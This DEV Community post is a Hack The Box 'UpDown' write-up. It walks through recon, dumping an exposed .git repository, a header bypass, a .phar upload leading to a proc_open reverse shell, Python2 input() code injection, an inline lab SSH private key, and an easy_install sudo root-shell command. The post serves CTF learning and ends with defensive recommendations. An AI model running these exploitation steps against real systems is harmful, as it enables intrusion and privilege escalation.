DEV Community

nekohige
nekohige

Posted on

HTB - UpDown Writeup - no Metasploit

Summary

A .git repository was exposed on the public-facing website. By examining it, the web application’s architecture could be understood, including the way to open sub-path: dev. The file upload functionality did not restrict the .phar extension, and proc_open was not included in disable_functions, allowing a shell to be obtained via PHAR deserialization. From there, an SUID ELF binary (siteisup) owned by a higher-privileged user was found to be executable. This binary was vulnerable to Python2’s input() behavior (which evaluates input as a Python expression), allowing code execution as that user. For privilege escalation to root, easy_install could be executed via passwordless sudo, which is a well-known method of obtaining a root shell.

Recommendations

Assuming this were a real-world environment, I would recommend the following:

  • The .git repository should never have been exposed on the public website.
  • No unnecessary or hidden sub-paths/directories should have been accessible.
  • The .phar extension should have been included in the upload restriction list.
  • proc_open should have been added to disable_functions.
  • Python2 should no longer be used, as it has reached end-of-life and contains unsafe behaviors such as this input() issue.
  • easy_install should not be executable via passwordless sudo — if sudo access is required at all, it should be limited and password-protected.

Reconnaissance

First of all, let's recon the machine using nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.52.117
Enter fullscreen mode Exit fullscreen mode


ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.52.117
Enter fullscreen mode Exit fullscreen mode

22(SSH) and 80(HTTP) are open. So, this machine is running Linux.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.52.117
Enter fullscreen mode Exit fullscreen mode

No interesting UDP.

Let' open the 80 in the browser.
http://10.129.52.117/

A domain name is on the page: siteisup.htb.

Add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.52.117 siteisup.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Let's open the page again using the domain.
http://siteisup.htb/

The site seems to check whether the website we enter is running or not.


Enumeration

Let's enumerate pages that this site has.

feroxbuster -u http://siteisup.htb -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak
Enter fullscreen mode Exit fullscreen mode

There is a git repository.

Let's take it all.

git-dumper http://siteisup.htb/dev/.git/ ./loot
Enter fullscreen mode Exit fullscreen mode

Let's see the logs.

git -c safe.directory='*' log --oneline --all
Enter fullscreen mode Exit fullscreen mode

It seems no password or credentials.

Back to the website. Let’s start sub-domain enumeration.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://siteisup.htb/ -H 'Host: FUZZ.siteisup.htb' -fs 1131
Enter fullscreen mode Exit fullscreen mode

We found the subdomain dev.

Add dev to /etc/hosts.

echo "10.129.52.117 siteisup.htb dev.siteisup.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode


Exploitation

Let's open the page: dev.siteisup.htb.

Forbidden...

Going back to the git logs, there is an .htaccess file that will give us a clue as to why it’s forbidden.


git -c safe.directory='*' show bc4ba79
Enter fullscreen mode Exit fullscreen mode

Adding the header Special-Dev: only4dev will bypass the restriction.

Let's add the header value using Burp Suite.

Let's open the page again.
http://dev.siteisup.htb

The site is up! It has a file upload function.

According to the file (checker.php) we obtained earlier via git-dumper, this function blocks certain extensions so that PHP files cannot be uploaded.
Also, it states that a correct file will be uploaded to the uploads directory.

Next, according to index.php, it includes a PHP file specified via the GET parameter page.

The forbidden extensions don’t include .phar, which stands for PHP archive — a format that can be used to bypass the upload filter.

Let's make a php file that shows phpinfo().

echo '<?php phpinfo(); ?>
http://10.10.17.153:8000' > php-info.php
Enter fullscreen mode Exit fullscreen mode

I added http://10.10.17.153:8000 because an article said the file won’t be deleted as long as Kali is listening on the port indicated. However, it’s not working.

Make .phar file.

zip payload.phar php-info.php
Enter fullscreen mode Exit fullscreen mode

Upload the file.

Then, a new file appears in the uploads directory.

Let's open the file via the GET parameter: page.
http://dev.siteisup.htb/?page=phar://uploads/04f00185c2921425e8e3da99b1a8334e/payload.phar/php-info

It opens!

This PHP configuration disables common RCE functions such as system, exec, and shell_exec.

After checking some writeups, I understand that there is still a command that can be used for RCE.
https://gist.github.com/mccabe615/b0907514d34b2de088c4996933ea1720

proc_open is not included in the disable_function.

The following site shows us a way to get a reverse shell using proc_open.
https://gist.github.com/simran-sankhala/d94bc4e42fee5158395d189ec39ecac4

Same as before:

  • Make a file as shown
  • Generate a .phar file from the PHP file
  • Upload the file
  • Open it via the GET parameter: page

The shell obtained!

However, we cannot reach the user.txt.

Let’s stabilize the shell.

python3 -c 'import pty;pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

Search the entire system for executable files with the SUID bit set.

find / -perm -u=s -type f 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

/home/developer/dev/siteisup seems interesting.

file /home/developer/dev/siteisup
Enter fullscreen mode Exit fullscreen mode

It's an ELF binary file.

Let’s execute it and see how it behaves.

It uses /home/developer/dev/siteisup_test.py.

The print function doesn’t use parentheses, which suggests this is a Python2 script.
Also, unlike Python3, Python2’s input() evaluates the entered string as a Python expression before returning it.

So, let’s input __import__('os').system('id') to see if there is a vulnerability.

There is!

Let's make a shell via __import__('os').system('/bin/bash').

We get shell of developer!

However, we still cannot get user.txt...

Checking the id, we notice the gid is still www-data.

Searching for other clues, there is id_rsa of developer.

Let's use it to login through ssh.

 echo '-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----' > id_rsa

Enter fullscreen mode Exit fullscreen mode


chmod 600 id_rsa
Enter fullscreen mode Exit fullscreen mode


ssh developer@siteisup.htb -i id_rsa
Enter fullscreen mode Exit fullscreen mode


cat /home/developer/user.txt
Enter fullscreen mode Exit fullscreen mode

We get it!


Privilege Escalation

First, let's see sudo -l.

/usr/local/bin/easy_install seems interesting.

Let's check what is it.

According to GTFOBins, the following method gives us a root shell directly in the current terminal.
https://gtfobins.org/gtfobins/easy_install/


mkdir /tmp/evil
cd /tmp/evil
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
sudo  /usr/local/bin/easy_install .
Enter fullscreen mode Exit fullscreen mode

We get it!


Lessons Learned

Two approaches to subdomain enumeration

1. Sub-domain Fuzzing — looks for names that actually exist in DNS (a DNS-level lookup)

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.{{DOMAIN}}/
Enter fullscreen mode Exit fullscreen mode

2. VHost Fuzzing — when the name isn’t registered in DNS, send different candidate names directly in the Host header and look for the one that returns a different response. This is the approach to use on environments like HTB.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://{{DOMAIN}}/ -H 'Host: FUZZ.{{DOMAIN}}' -fs xxx
Enter fullscreen mode Exit fullscreen mode

Wordlist containing .git

I should have used feroxbuster with a wordlist that includes .git. I initially used DirBuster-2007_directory-list-2.3-medium.txt, but since it didn’t contain .git, I switched to /usr/share/wordlists/dirb/common.txt.

PHAR (PHP Archive

PHAR is a format that bundles multiple PHP files (classes, code, resources, etc.) into a single archive file. When a file is accessed through the phar:// wrapper, PHP automatically deserializes the metadata embedded in that file. This wrapper is used to access the contents of a compressed archive once the file has been uploaded.

?page=phar://uploads/{md5_value}/payload.phar/hello
Enter fullscreen mode Exit fullscreen mode

ELF Binaries

ELF (Executable and Linkable Format) is the standard executable file format used on Linux/Unix systems — equivalent to .exe (PE format) on Windows. ELF binaries are relevant in several ways: they’re common reverse engineering targets (analyzed with tools like. strings), SUID-enabled ELF binaries are a frequent privilege escalation target.

Python-related vulnerabilities

  • Python2’s input(): Unlike Python3, Python2’s input() evaluates the entered string as a Python expression (equivalent to eval(raw_input())), allowing arbitrary code execution if user input is passed directly to it.
  • eval() injection: When user input is passed into eval(), arbitrary Python code can be injected — often using __import__('os').system(...) to bypass restrictions on direct import statements.
  • Reference: https://hacktricks.wiki/generic-methodologies-and-resources/python/bypass-python-sandboxes/

Top comments (0)